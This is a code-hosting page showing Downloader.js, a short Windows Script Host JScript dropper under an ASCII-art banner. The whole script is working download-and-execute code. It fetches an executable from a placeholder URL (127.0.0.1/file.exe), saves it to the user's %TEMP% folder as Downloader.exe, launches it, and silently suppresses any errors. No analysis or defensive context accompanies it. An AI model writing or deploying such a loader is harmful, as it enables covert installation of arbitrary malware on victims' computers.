-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathDownloader.js
32 lines (28 loc) · 861 Bytes
/
Downloader.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// $$$$$$\ $$\ $$\
// $$ __$$\ $$$\ $$ |
// $$ / $$ |$$$$\ $$ |
// $$$$$$$$ |$$ $$\$$ |
// $$ __$$ |$$ \$$$$ |
// $$ | $$ |$$ |\$$$ |
// $$ | $$ |$$ | \$$ |
try {
var WshShell = WScript.CreateObject("WScript.Shell");
var filepath = WshShell.ExpandEnvironmentStrings("%TEMP%") + "/Downloader.exe";
var url = "http://127.0.0.1/file.exe"
var xhr = new ActiveXObject("MSXML2.XMLHTTP")
xhr.open("GET", url, false)
xhr.send()
var fso = new ActiveXObject("Scripting.FileSystemObject")
if (fso.FileExists(filepath) == false) {
var stream = new ActiveXObject("ADODB.Stream")
stream.Open()
stream.Type = 1
stream.Write(xhr.ResponseBody)
stream.Position = 0
stream.SaveToFile(filepath, 2)
stream.Close()
}
var shell = WScript.CreateObject("WScript.Shell")
shell.Run(filepath)
}
catch(err){}